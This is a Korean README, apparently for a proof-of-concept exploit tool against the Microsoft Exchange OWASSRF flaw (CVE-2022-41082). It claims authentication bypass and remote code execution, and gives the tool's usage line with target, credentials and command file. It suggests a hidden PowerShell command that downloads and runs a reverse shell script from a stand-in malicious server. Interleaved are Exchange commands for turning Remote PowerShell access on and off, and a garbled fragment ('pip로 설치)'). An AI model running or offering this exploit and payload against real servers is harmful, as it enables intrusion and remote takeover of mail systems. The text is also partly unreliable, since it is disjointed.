
CVE-2022-41082-poc
이 저장소는 Microsoft Exchange 서버의 OWASSRF 취약점(CVE-2022-41082)을 악용하기 위한 개념 증명(PoC) 도구를 포함하고 있습니다. 이 익스플로잇을 통해 공격자는 서버에서 임의의 명령을 실행하여 시스템을 손상시킬 수 있습니다.
이 도구는 OWASSRF 취약점을 활용하여 인증을 우회하고 Exchange 서버에서 원격 코드 실행(RCE)을 달성합니다. 이 취약점을 악용함으로써 공격자는 인증된 사용자처럼 명령을 실행할 수 있어 심각한 보안 영향을 초래합니다.
이 도구를 사용할 때 반드시 Exchange 관리 셸의 동일한 세션을 열어 두십시오. 다른 사용자에 대해 Remote PowerShell 액세스를 비활성화한 후에는 최소한 한 명의 사용자에 대해 활성화하는 것이 중요합니다. 그렇지 않으면 모든 Exchange 서버에서 관리 셸 액세스 권한을 잃을 수 있습니다.
액세스 권한이 있는 사용자를 확인하고 관리하는 데 유용한 PowerShell 명령은 다음과 같습니다.
Remote PowerShell 액세스 권한이 있는 사용자와 없는 사용자를 확인하려면 다음을 실행하세요.
Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $true'
Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $false'
경고: 최소 한 명의 사용자를 다시 추가하지 않는 한 Exchange 관리 셸 창을 닫지 않도록 주의하세요.
다음 명령을 사용하여 모든 사용자에 대해 PowerShell 액세스를 비활성화할 수 있습니다.
$user = Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $true'
$user | foreach {Set-User -Identity $_ -RemotePowerShellEnabled $false}
또는 단일 명령으로 동일한 결과를 얻을 수 있습니다.
Get-User -ResultSize Unlimited | Set-User -RemotePowerShellEnabled $false
특정 사용자에게 Remote PowerShell 액세스 권한을 부여하려면 다음을 실행하세요.
Set-User "guest" -RemotePowerShellEnabled $true
모든 사용자에 대한 PowerShell 액세스 권한을 잃은 경우, 관리자 권한이 있는 새 사서함 사용자를 만들 수 있습니다. 이 새 사용자는 적용된 정책을 우회하므로 Exchange 관리 셸을 다시 사용할 수 있습니다.
pip로 설치)PoC 도구를 실행하려면 다음 명령을 실행하세요.
python3 poc.py -H <target_IP> -u <username> -p <password> -c <command_file>
<target_IP>, <username>, <password> 및 <command_file>을 사용자의 특정 값으로 바꾸세요.
cmd_file의 명령을 수정하여 리버스 셸 페이로드를 포함할 수 있습니다. 예를 들어:
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object Net.WebClient).DownloadString('http://your-malicious-server.com/reverse.ps1')"
이 명령은 서버에서 PowerShell 스크립트를 다운로드하여 실행하므로 리버스 셸을 얻을 수 있습니다.
OWASSRF 취약점과 PoC 코드에 대한 자세한 내용은 다음 링크를 참조하세요: OWASSRF CVE-2022-41082 PoC 및 https://www.youtube.com/watch?v=c2DZYP6jc7g